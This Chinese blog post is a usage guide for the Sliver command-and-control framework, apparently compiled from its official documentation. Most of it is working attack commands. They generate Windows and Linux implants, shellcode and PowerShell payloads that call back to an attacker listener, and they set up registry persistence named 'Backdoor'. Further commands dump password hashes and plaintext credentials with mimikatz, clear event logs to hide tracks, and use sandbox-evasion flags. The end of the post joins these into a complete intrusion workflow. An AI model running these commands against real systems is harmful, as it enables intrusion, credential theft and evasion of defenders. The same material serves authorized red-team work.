SliverC2:基础使用
# 技术博文
AI摘要:本文介绍了新兴的C2工具Sliver的基础使用,包括常规和通用命令,以及多人协作命令,并提供了生成植入程序、设置监听器、管理会话、文件操作、持久化、横向移动、信息收集等操作示例。
之前博主一直使用的是cs,我们来瞧瞧新兴的C2工具Sliver怎么用
如何## 首先是常规用法 --help命令
1. 常用命令
clear: 清除终端屏幕。exit: 退出 Sliver 的交互式 Shell。help: 显示命令帮助信息。例如,help generate会显示generate命令的详细用法。monitor: 监控威胁情报平台,检测 Sliver 植入程序是否被发现。wg-config: 生成一个新的 WireGuard 客户端配置文件。wg-portfwd: 列出通过 WireGuard 隧道接口转发的端口。wg-socks: 列出在 WireGuard 隧道接口上监听的 SOCKS 服务器。
2. 通用命令
aliases: 列出当前定义的别名(命令的快捷方式)。armory: 自动下载和安装扩展或别名。background: 将一个活动的会话放到后台运行。beacons: 管理 Beacon(一种异步的、持久化的植入程序)。builders: 列出外部构建器(用于生成植入程序)。canaries: 列出之前生成的 Canary(用于检测是否被发现)。cursed: Chrome/Electron 后渗透工具包,用于浏览器攻击。dns: 启动一个 DNS 监听器(用于 DNS C2)。env: 列出环境变量。generate: 生成一个植入程序二进制文件。hosts: 管理主机数据库(记录目标主机的信息)。http: 启动一个 HTTP 监听器。https: 启动一个 HTTPS 监听器。implants: 列出已生成的植入程序。jobs: 任务控制(管理后台运行的监听器或任务)。licenses: 显示开源许可证信息。loot: 管理服务器的战利品存储(保存从目标获取的数据)。mtls: 启动一个 mTLS(双向 TLS)监听器。prelude-operator: 管理与 Prelude Operator 的连接。profiles: 列出现有的配置文件(用于生成植入程序)。reaction: 管理对事件的自动反应(例如,当某个事件发生时自动执行某些操作)。regenerate: 重新生成一个植入程序。sessions: 会话管理(列出和管理当前的会话)。settings: 管理客户端设置。stage-listener: 启动一个分阶段监听器(用于分阶段植入程序)。tasks: Beacon 任务管理(管理异步任务)。update: 检查 Sliver 的更新。use: 切换当前的会话或 Beacon。version: 显示 Sliver 的版本信息。websites: 托管静态内容(用于 HTTP C2)。wg: 启动一个 WireGuard 监听器。
3. 多人协作命令
kick-operator: 将某个操作员从服务器踢出。multiplayer: 启用多人协作模式(允许多个操作员同时使用 Sliver)。new-operator: 创建一个新的操作员配置文件。operators: 管理操作员(列出、添加或删除操作员)。
4. 使用示例
以下是一些常见的使用场景和命令示例:
生成植入程序
generate --os windows --arch amd64 --http http://192.168.1.100:8080- 生成一个 Windows 64 位的植入程序,并通过 HTTP C2 通信。
启动 HTTP 监听器
http --domain example.com --port 8080- 启动一个 HTTP 监听器,监听
example.com:8080。
管理会话
sessions- 列出当前的所有会话。
use <session-id>- 切换到指定的会话。
管理 Beacon
beacons- 列出当前的所有 Beacon。
use <beacon-id>- 切换到指定的 Beacon。
多人协作
multiplayer- 启用多人协作模式。
new-operator --name alice- 为操作员
alice创建一个新的配置文件。
1. 生成 Payload
生成 Windows 可执行文件
generate --format exe --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.exe生成 Linux 可执行文件
generate --format elf --os linux --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.elf生成 Shellcode
generate --format shellcode --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/shellcode.bin生成 PowerShell 脚本
generate --format ps1 --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.ps12. 设置监听器
启动 mTLS 监听器
mtls --lhost 192.168.52.128 --lport 8443启动 HTTP 监听器
http --lhost 192.168.52.128 --lport 80启动 HTTPS 监听器
https --lhost 192.168.52.128 --lport 4433. 管理会话
查看所有会话
sessions进入会话
use <Session ID>获取命令行 Shell
shell退出会话
exit终止会话
kill <Session ID>终止所有会话
kill-all4. 文件操作
列出文件
ls C:\下载文件
download C:\path\to\file上传文件
upload /path/to/local/file C:\path\to\remote\file删除文件
rm C:\path\to\file5. 持久化
创建持久化任务
persist --method registry --name "Backdoor" --path "C:\path\to\payload.exe"查看持久化任务
persist删除持久化任务
persist --remove <Task ID>6. 横向移动
执行命令
execute notepad.exe上传并执行文件
upload /path/to/local/file C:\path\to\remote\file
execute C:\path\to\remote\file抓取密码哈希
hashdump抓取明文密码
mimikatz7. 信息收集
以下是常用命令组合:
获取系统信息
info获取网络配置
ifconfig获取进程列表
ps当前权限
whoami删除日志
clearev删除文件
rm C:\path\to\file删除持久化任务
persist --remove <Task ID>9. 其他常用命令
查看帮助
help查看当前配置
config查看任务
jobs终止任务
jobs --kill <Job ID>10. 完整操作流程
启动监听器:
mtls --lhost 192.168.52.128 --lport 8443生成 Payload:
generate --format exe --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /tmp/payload.exe- 部署 Payload 到目标机器。
查看会话:
sessions进入会话:
use 1获取 Shell:
shell清理痕迹:
clearev
生成shell:
generate --mtls <Server IP> --save ./test.exe --os Windows生成beacon,采用mtls回连的端口
generate beacon --arch amd64 --os windows --mtls IP:port --save .时间会有点长,因为要混淆,大概输出结果如下
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /xxx/DIFFICULT_DYNAMO.exe创建Stager(shellcode)
generate stager --lhost 127.0.0.1 --lport 8443 --arch amd64 --format c通过原生sliver的一个过沙箱的思路
-w, --limit-datetime string:限制在指定日期时间之前执行
-x, --limit-domainjoined:限制在域加入的计算机上执行
-F, --limit-fileexists string:限制在具有文件系统中的指定文件的主机上执行
-z, --limit-hostname string:限制在指定的主机名上执行
-L, --limit-locale string:限制在与此区域设置匹配的主机上执行
-y, --limit-username string:限制在指定的用户名上执行本文为博主由参考文档整理而成: Sliver C2 官方文档。